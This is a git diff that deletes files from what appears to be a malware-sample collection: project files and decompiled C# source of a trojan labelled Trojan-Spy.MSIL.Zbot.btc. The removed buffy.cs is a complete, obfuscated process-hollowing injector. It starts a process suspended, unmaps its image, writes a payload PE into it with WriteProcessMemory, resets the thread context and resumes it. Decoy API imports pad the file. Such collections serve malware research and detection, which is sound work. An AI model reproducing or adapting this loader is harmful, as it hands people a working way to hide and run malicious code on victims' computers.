b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.csproj deleted file mode 100644 index f9959732..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {D3675479-4F0D-434F-80B9-0ABE5981716D} - WinExe - a-testtt - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.sln b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.sln deleted file mode 100644 index b7fbc189..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "a-testtt", "Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c.csproj", "{D3675479-4F0D-434F-80B9-0ABE5981716D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D3675479-4F0D-434F-80B9-0ABE5981716D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D3675479-4F0D-434F-80B9-0ABE5981716D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D3675479-4F0D-434F-80B9-0ABE5981716D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D3675479-4F0D-434F-80B9-0ABE5981716D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/buffy.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/buffy.cs deleted file mode 100644 index cc2c9b89..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/buffy.cs +++ /dev/null @@ -1,632 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: buffy -// Assembly: a-testtt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB69C33D-0146-479F-A219-6519E3630D8F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -public class buffy -{ - public const long ASDFASFASF = 2778; - public const long FASFASFASF = 60116; - public const long AFSFASFASCFC = 218; - public const long ASDASCASDASD = 218; - public const long BVCXBXCBXCB = 218; - public const long BXCBXCBXCB = 253; - public const long FSDR3FSF = 218; - public const long KKKKKKKKKDDDDDDD = 17247; - public const uint FSSSSSSSSSSSSSSSSSS = 218; - - public static void mickey(byte[] DAS4DA3, string VVVVVVCAE) - { - object Instance1 = (object) new buffy.Context(); - object obj1 = (object) new buffy.Process_Information(); - object obj2 = (object) new buffy.Startup_Information(); - object obj3 = (object) new buffy.Security_Flags(); - object obj4 = (object) new buffy.Security_Flags(); - object Instance2 = (object) GCHandle.Alloc((object) DAS4DA3, GCHandleType.Pinned); - int integer1 = Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateGet(Instance2, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, "ToInt32", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - buffy.DOS_Header dosHeader1 = new buffy.DOS_Header(); - Type Type = typeof (Marshal); - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - object Instance3 = Instance2; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Instance3, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - objArray2[0] = objectValue; - objArray1[1] = (object) dosHeader1.GetType(); - object[] objArray3 = objArray1; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ true, false }; - bool[] CopyBack = flagArray; - object obj5 = NewLateBinding.LateGet((object) null, Type, "PtrToStructure", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - NewLateBinding.LateSetComplex(Instance3, (Type) null, "AddrOfPinnedObject", new object[1] - { - RuntimeHelpers.GetObjectValue(objArray3[0]) - }, (string[]) null, (Type[]) null, true, false); - buffy.DOS_Header dosHeader2; - buffy.DOS_Header dosHeader3 = obj5 != null ? (buffy.DOS_Header) obj5 : dosHeader2; - NewLateBinding.LateCall(Instance2, (Type) null, "Free", new object[0], (string[]) null, (Type[]) null, (bool[]) null, true); - buffy.GN04L0ER8I gn04L0Er8I1 = buffy.TXXY5U8D2U("kernel32", "CreateProcessA"); - buffy.R84OY4NT36 r84Oy4Nt36_1 = buffy.TXXY5U8D2U("kernel32", "GetThreadContext"); - buffy.Q7QRRP639W q7QrrP639W1 = buffy.TXXY5U8D2U("kernel32", "ReadProcessMemory"); - buffy.ZGOQ8VM05M zgoQ8Vm05M1 = buffy.TXXY5U8D2U("kernel32", "WriteProcessMemory"); - buffy.EFVI2YI66B efvI2Yi66B1 = buffy.TXXY5U8D2U("ntdll", "ZwUnmapViewOfSection"); - buffy.W6CTR6GLCC w6CtR6Glcc1 = buffy.TXXY5U8D2U("kernel32", "VirtualAllocEx"); - buffy.K7B3INYH01 k7B3InyH01_1 = buffy.TXXY5U8D2U("kernel32", "SetThreadContext"); - buffy.WS2XVBNVO9 ws2XvbnvO9_1 = buffy.TXXY5U8D2U("kernel32", "ResumeThread"); - buffy.GN04L0ER8I gn04L0Er8I2 = gn04L0Er8I1; - string DASDAS3E2_1 = VVVVVVCAE; - object obj6 = obj3; - buffy.Security_Flags securityFlags1; - buffy.Security_Flags securityFlags2 = obj6 != null ? (buffy.Security_Flags) obj6 : securityFlags1; - ref buffy.Security_Flags local1 = ref securityFlags2; - object obj7 = obj4; - buffy.Security_Flags securityFlags3 = obj7 != null ? (buffy.Security_Flags) obj7 : securityFlags1; - ref buffy.Security_Flags local2 = ref securityFlags3; - IntPtr num1; - IntPtr DSA43R3W1 = num1; - object obj8 = obj2; - buffy.Startup_Information startupInformation1; - buffy.Startup_Information startupInformation2 = obj8 != null ? (buffy.Startup_Information) obj8 : startupInformation1; - ref buffy.Startup_Information local3 = ref startupInformation2; - object obj9 = obj1; - buffy.Process_Information processInformation1; - buffy.Process_Information processInformation2 = obj9 != null ? (buffy.Process_Information) obj9 : processInformation1; - ref buffy.Process_Information local4 = ref processInformation2; - int num2 = gn04L0Er8I2((string) null, DASDAS3E2_1, ref local1, ref local2, false, 4U, DSA43R3W1, (string) null, ref local3, out local4) ? 1 : 0; - object obj10 = (object) processInformation2; - object Instance4 = (object) startupInformation2; - object obj11 = (object) securityFlags3; - object obj12 = (object) securityFlags2; - if (-((uint) num2 > 0U ? 1 : 0) == 0) - return; - buffy.NT_Headers ntHeaders1 = new buffy.NT_Headers(); - IntPtr ptr = new IntPtr(checked (integer1 + dosHeader3.DASE3ASDAS)); - object structure1 = Marshal.PtrToStructure(ptr, ntHeaders1.GetType()); - buffy.NT_Headers ntHeaders2; - buffy.NT_Headers ntHeaders3 = structure1 != null ? (buffy.NT_Headers) structure1 : ntHeaders2; - NewLateBinding.LateSet(Instance4, (Type) null, "CSZE", new object[1] - { - (object) Strings.Len(RuntimeHelpers.GetObjectValue(Instance4)) - }, (string[]) null, (Type[]) null); - NewLateBinding.LateSet(Instance1, (Type) null, "II69TOHMUR", new object[1] - { - (object) 65539 - }, (string[]) null, (Type[]) null); - if (ntHeaders3.SSSSSSSSSSSQ != 17744U | dosHeader3.DASDASFASF != (ushort) 23117) - return; - buffy.GN04L0ER8I gn04L0Er8I3 = gn04L0Er8I1; - string DASDAS3E2_2 = VVVVVVCAE; - object obj13 = obj12; - securityFlags2 = obj13 != null ? (buffy.Security_Flags) obj13 : securityFlags1; - ref buffy.Security_Flags local5 = ref securityFlags2; - object obj14 = obj11; - securityFlags3 = obj14 != null ? (buffy.Security_Flags) obj14 : securityFlags1; - ref buffy.Security_Flags local6 = ref securityFlags3; - IntPtr DSA43R3W2 = num1; - object obj15 = Instance4; - startupInformation2 = obj15 != null ? (buffy.Startup_Information) obj15 : startupInformation1; - ref buffy.Startup_Information local7 = ref startupInformation2; - object obj16 = obj10; - processInformation2 = obj16 != null ? (buffy.Process_Information) obj16 : processInformation1; - ref buffy.Process_Information local8 = ref processInformation2; - int num3 = gn04L0Er8I3((string) null, DASDAS3E2_2, ref local5, ref local6, false, 4U, DSA43R3W2, (string) null, ref local7, out local8) ? 1 : 0; - object Instance5 = (object) processInformation2; - object obj17 = (object) startupInformation2; - object obj18 = (object) securityFlags3; - object obj19 = (object) securityFlags2; - if (-((uint) num3 > 0U ? 1 : 0) == 0) - return; - buffy.R84OY4NT36 r84Oy4Nt36_2 = r84Oy4Nt36_1; - object obj20 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASDASC = obj20 != null ? (IntPtr) obj20 : num1; - object obj21 = Instance1; - buffy.Context context1; - buffy.Context context2 = obj21 != null ? (buffy.Context) obj21 : context1; - ref buffy.Context local9 = ref context2; - int num4 = r84Oy4Nt36_2(DASDASC, ref local9) ? 1 : 0; - object Instance6 = (object) context2; - buffy.Q7QRRP639W q7QrrP639W2 = q7QrrP639W1; - object obj22 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr FASFDASDAS = obj22 != null ? (IntPtr) obj22 : num1; - int integer2 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - long num5; - int num6 = checked ((int) num5); - ref int local10 = ref num6; - int num7 = 0; - ref int local11 = ref num7; - int num8 = q7QrrP639W2(FASFDASDAS, integer2, ref local10, 4, ref local11); - long num9 = (long) num6; - buffy.EFVI2YI66B efvI2Yi66B2 = efvI2Yi66B1; - object obj23 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE3 = obj23 != null ? (IntPtr) obj23 : num1; - int AL8ZCRFWNU1 = checked ((int) num9); - long num10 = efvI2Yi66B2(DASE3, AL8ZCRFWNU1); - buffy.W6CTR6GLCC w6CtR6Glcc2 = w6CtR6Glcc1; - object obj24 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE43E = obj24 != null ? (IntPtr) obj24 : num1; - int dfazdasd = checked ((int) ntHeaders3.OOOU.DFAZDASD); - int dasrdasrasr = (int) ntHeaders3.OOOU.DASRDASRASR; - uint num11 = checked ((uint) (int) w6CtR6Glcc2(DASE43E, dfazdasd, (uint) dasrdasrasr, 12288U, 4U)); - if (num11 == 0U) - return; - buffy.ZGOQ8VM05M zgoQ8Vm05M2 = zgoQ8Vm05M1; - object obj25 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_1 = obj25 != null ? (IntPtr) obj25 : num1; - int AL8ZCRFWNU2 = checked ((int) num11); - byte[] DSAE32_1 = DAS4DA3; - int wqdasdasd = checked ((int) ntHeaders3.OOOU.WQDASDASD); - uint num12; - int num13 = checked ((int) num12); - ref int local12 = ref num13; - int num14 = zgoQ8Vm05M2(DASE32_1, AL8ZCRFWNU2, DSAE32_1, wqdasdasd, out local12) ? 1 : 0; - uint num15 = checked ((uint) num13); - long num16 = (long) checked (dosHeader3.DASE3ASDAS + 248); - int num17 = checked ((int) ntHeaders3.DSEEEEE.DAAAAAAAA3 - 1); - int num18 = 0; - while (num18 <= num17) - { - ptr = new IntPtr(checked ((long) integer1 + num16 + (long) (num18 * 40))); - buffy.Section_Header sectionHeader1; - object structure2 = Marshal.PtrToStructure(ptr, sectionHeader1.GetType()); - buffy.Section_Header sectionHeader2; - sectionHeader1 = structure2 != null ? (buffy.Section_Header) structure2 : sectionHeader2; - byte[] numArray = new byte[checked ((int) sectionHeader1.DA22S3 + 1)]; - int num19 = checked ((int) ((long) sectionHeader1.DA22S3 - 1L)); - int index = 0; - while (index <= num19) - { - numArray[index] = DAS4DA3[checked ((int) ((long) sectionHeader1.PoinEEter + (long) index))]; - checked { ++index; } - } - buffy.ZGOQ8VM05M zgoQ8Vm05M3 = zgoQ8Vm05M1; - object obj26 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_2 = obj26 != null ? (IntPtr) obj26 : num1; - int AL8ZCRFWNU3 = checked ((int) (num11 + sectionHeader1.AL8ZCRFWNU)); - byte[] DSAE32_2 = numArray; - int da22S3 = checked ((int) sectionHeader1.DA22S3); - int num20 = checked ((int) num15); - ref int local13 = ref num20; - int num21 = zgoQ8Vm05M3(DASE32_2, AL8ZCRFWNU3, DSAE32_2, da22S3, out local13) ? 1 : 0; - num15 = checked ((uint) num20); - checked { ++num18; } - } - object bytes = (object) BitConverter.GetBytes(num11); - buffy.ZGOQ8VM05M zgoQ8Vm05M4 = zgoQ8Vm05M1; - object obj27 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_3 = obj27 != null ? (IntPtr) obj27 : num1; - int integer3 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - byte[] DSAE32_3 = (byte[]) bytes; - int num22 = checked ((int) num15); - ref int local14 = ref num22; - int num23 = zgoQ8Vm05M4(DASE32_3, integer3, DSAE32_3, 4, out local14) ? 1 : 0; - num12 = checked ((uint) num22); - NewLateBinding.LateSet(Instance6, (Type) null, "AS4", new object[1] - { - (object) checked (num11 + ntHeaders3.OOOU.DDDDDDDDAAA) - }, (string[]) null, (Type[]) null); - buffy.K7B3INYH01 k7B3InyH01_2 = k7B3InyH01_1; - object obj28 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr ASDASCASDASD = obj28 != null ? (IntPtr) obj28 : num1; - object obj29 = Instance6; - context2 = obj29 != null ? (buffy.Context) obj29 : context1; - ref buffy.Context local15 = ref context2; - int num24 = k7B3InyH01_2(ASDASCASDASD, ref local15) ? 1 : 0; - object obj30 = (object) context2; - buffy.WS2XVBNVO9 ws2XvbnvO9_2 = ws2XvbnvO9_1; - object obj31 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASEAS = obj31 != null ? (IntPtr) obj31 : num1; - int num25 = (int) ws2XvbnvO9_2(DASEAS); - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string tr6); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr gdr54, [MarshalAs(UnmanagedType.VBByRefStr)] ref string gfsd54); - - [DllImport("rpcns4.dll", EntryPoint = "RpcNsProfileEltAddA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RpcNsProfileEltAdd( - long ProfileNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ProfileName, - ref IntPtr IfId, - long MemberNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MemberName, - long Priority, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Annotation); - - [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber); - - [DllImport("tapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long lineSetAppSpecific(long hCall, long dwAppSpecific); - - [DllImport("rtm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MgmGetNextMfeStats( - ref IntPtr pimmStart, - ref long pdwBufferSize, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pbBuffer, - ref long pdwNumEntries); - - [DllImport("mprapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MprAdminDeviceEnum( - ref IntPtr hMprServer, - long dwLevel, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lplpbBuffer, - ref long lpdwTotalEntries); - - [DllImport("MSI.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MsiDatabaseImport( - ref IntPtr hDatabase, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFolderPath, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFileName); - - [DllImport("rpcrt4.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NdrMesSimpleTypeAlignSize(long handle_t); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetMessageNameDel([MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, [MarshalAs(UnmanagedType.VBByRefStr)] ref string msgname); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetReplExportDirSetInfo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dirname, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string buf, - ref long parm_err); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetUseGetInfo( - ref IntPtr UncServerName, - ref IntPtr UseName, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bufptr); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long QueueUserWorkItem(long lFunction, ref long Context, long Flags); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleInputA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsoleInput( - long hConsoleInput, - ref IntPtr lpBuffer, - long nLength, - ref long lpNumberOfEventsRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ShowWindowAsync(long hWnd, long nCmdShow); - - [DllImport("mgmtapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SnmpMgrCtl( - ref IntPtr session, - long dwCtlCode, - ref long lpvInBuffer, - long cbInBuffer, - ref long lpvOUTBuffer, - long cbOUTBuffer, - ref long lpcbBytesReturned); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long AddAuditAccessAceEx( - IntPtr pAcl, - long dwAceRevision, - long AceFlags, - long dwAccessMask, - ref IntPtr pSid, - long bAuditSuccess, - long bAuditFailure); - - [DllImport("ODBCCP32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLInstallerError( - int iError, - ref long pfErrorCode, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszErrorMsg, - int cbErrorMsgMax, - ref int pcbErrorMsg); - - [DllImport("msorcl32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLSetCursorName(long hstmt, [MarshalAs(UnmanagedType.VBByRefStr)] ref string szCursor, int cbCursor); - - [DllImport("rasapi32.dll", EntryPoint = "RasSetCredentialsA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RasSetCredentials( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - ref IntPtr TLPRASCREDENTIALSA, - long @bool); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsole( - long hConsoleInput, - ref long lpBuffer, - long nNumberOfCharsToRead, - ref long lpNumberOfCharsRead, - ref long lpReserved); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadEncryptedFileRaw( - ref IntPtr pfExportCallback, - ref long pvCallbackContext, - ref long pvContext); - - [DllImport("winspool.drv", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadPrinter( - long hPrinter, - ref long pBuf, - long cdBuf, - ref long pNoBytesRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RegisterHotKey(long hwnd, long id, long fsModifiers, long vk); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReleaseSemaphore( - long hSemaphore, - long lReleaseCount, - ref long lpPreviousCount); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetSiteNameFromSid(ref long pSid, [MarshalAs(UnmanagedType.VBByRefStr)] ref string pwsSite); - - [DllImport("kernel32.dll", EntryPoint = "GetStringTypeExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetStringTypeEx( - long Locale, - long dwInfoType, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSrcStr, - long cchSrc, - ref int lpCharType); - - [DllImport("kernel32.dll", EntryPoint = "GetVolumePathNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetVolumePathName( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszFileName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVolumePathName, - long cchBufferLength); - - [DllImport("user32.dll", EntryPoint = "SetWindowLongA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SetWindowLong(long hwnd, long nIndex, long dwNewLong); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long TlsSetValue(long dwTlsIndex, ref long lpTlsValue); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr ToAscii( - long uVirtKey, - long uScanCode, - ref byte lpbKeyState, - ref long lpwTransKey, - long fuState); - - private static T TXXY5U8D2U(string ASFASE3, string FASGAS543W) => (T) Marshal.GetDelegateForFunctionPointer(buffy.GetProcAddress(buffy.LoadLibraryA(ref ASFASE3), ref FASGAS543W), typeof (T)); - - public struct Context - { - public uint II69TOHMUR; - public uint d2; - public uint das; - public uint d9; - public uint ad; - public uint dsa; - public uint ds; - public buffy.Save Save; - public uint dh; - public uint sad; - public uint da; - public uint MD; - public uint RD; - public uint mSI; - public uint WDA; - public uint AD3; - public uint D21; - public uint AS4; - public uint K32; - public uint F2W; - public uint HHJ; - public uint ADF5; - public uint GSSA; - public uint DSAAA; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - public byte[] er6rgdr65; - } - - public struct Save - { - public uint KD7JX2MXT; - public uint JCNS3ZPSXO; - public uint DAS3; - public uint DAS23; - public uint ADSA; - public uint DAF35; - public uint FA32D; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] - public byte[] FSDRF43; - public uint FA32QA; - } - - public struct Misc - { - public uint SDUHRL; - public uint GSIJ; - } - - public struct Section_Header - { - public byte FSDPOU4PO3; - public buffy.Misc Mi2sc; - public uint AL8ZCRFWNU; - public uint DA22S3; - public uint PoinEEter; - public uint E2Q4RS; - public uint FS523QF; - public uint FSB43FSD4; - public uint QBFAS4E; - public uint AS32QFZS; - } - - public struct Process_Information - { - public IntPtr DAS4QQW; - public IntPtr RFSER; - public int TGJWE; - public int SDFFFFFFFFFF; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct Startup_Information - { - public int CSZE; - public string FSDR4G; - public string AAAAAAAAAA; - public string AADDDDDDD; - public int ADA; - public int C; - public int AEDS; - public int DASDDDD; - public int XASE4; - public int DAS3EDFZ; - public int DVA3ES; - public int CCCCQ; - public short FDSRS; - public short VYE5X; - public int KHJKIHJK; - public int KHJKHJK; - public int KHJKHJ; - public int KHJKJHK; - } - - public struct Security_Flags - { - public int GFSETWE; - public IntPtr EWEWWW; - public int DASDAS; - } - - public struct DOS_Header - { - public ushort DASDASFASF; - public ushort QWEQWE; - public ushort EQWEQWEQWE; - public ushort HFGHFGHFGH; - public ushort HFGHFGHFG; - public ushort DASD444444; - public ushort DASFASE33; - public ushort DASKGHJ; - public ushort DASVZDF; - public ushort VXCVXC; - public ushort VXCVXCV; - public ushort EWECS; - public ushort EWADC; - public ushort UADA3; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] ReservWWWWWWWWWWWWWWWedA; - public ushort DAS4E; - public ushort UJJ; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] DDDDDDDDD; - public int DASE3ASDAS; - } - - public struct NT_Headers - { - public uint SSSSSSSSSSSQ; - public buffy.File_Header DSEEEEE; - public buffy.Optional_Headers OOOU; - } - - public struct File_Header - { - public ushort ITTTTTTTT; - public ushort DAAAAAAAA3; - public uint HRFTYTYTR; - public uint GJGFSFS; - public uint FSVGY; - public ushort FSFV; - public ushort A34FFC; - } - - public struct Optional_Headers - { - public ushort WWWWWWWWW; - public byte MaAAAAAAAAAAAjor; - public byte MiSSSSSSSSSSSnor; - public uint SSSSSSSSSSSSS; - public uint FFFFFFFFFFF; - public uint XXXXXXXX; - public uint DDDDDDDDAAA; - public uint FSSSSSSS; - public uint RSFS43; - public uint DFAZDASD; - public uint SectionA; - public uint FileA; - public ushort GDFTDFFFF; - public ushort HGDFHD564; - public ushort GD5ERGD; - public ushort FSD5YHD; - public ushort ASDASG; - public ushort AS4ASAS; - public uint CCC; - public uint DASRDASRASR; - public uint WQDASDASD; - public uint Assssssss; - public ushort fsd4s; - public ushort fjio; - public uint dasrlajstpoi; - public uint dasdraskyjhuasp; - public uint SHRedas4wa9uqserve; - public uint fsdtsysyt; - public uint eawdasdas3; - public uint Cocccunt; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public buffy.Data_Directory[] GSDGSDT4; - } - - public struct Data_Directory - { - public uint ewq34q234; - public uint das34aw33; - } - - public delegate bool GN04L0ER8I( - string ASFASE3, - string DASDAS3E2, - ref buffy.Security_Flags DASCASE, - ref buffy.Security_Flags CASE222, - bool DAS432E, - uint AEDFKJK32, - IntPtr DSA43R3W, - string ase32ew, - [In] ref buffy.Startup_Information das43fsa, - out buffy.Process_Information das3); - - public delegate bool ZGOQ8VM05M( - IntPtr DASE32, - int AL8ZCRFWNU, - byte[] DSAE32, - int DASEADAS, - out int ASD43FA); - - public delegate int Q7QRRP639W( - IntPtr FASFDASDAS, - int AL8ZCRFWNU, - ref int CAS32, - int ASDASC, - ref int CASTWE); - - public delegate IntPtr W6CTR6GLCC( - IntPtr DASE43E, - int AL8ZCRFWNU, - uint DASCAS3, - uint DAS3, - uint DAS32); - - public delegate long EFVI2YI66B(IntPtr DASE3, int AL8ZCRFWNU); - - public delegate uint WS2XVBNVO9(IntPtr DASEAS); - - public delegate bool R84OY4NT36(IntPtr DASDASC, ref buffy.Context DSACSA43); - - public delegate bool K7B3INYH01(IntPtr ASDASCASDASD, ref buffy.Context ASCA434); -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/pizde.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/pizde.cs deleted file mode 100644 index e137b54e..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/pizde.cs +++ /dev/null @@ -1,645 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: pizde -// Assembly: a-testtt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB69C33D-0146-479F-A219-6519E3630D8F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c.exe - 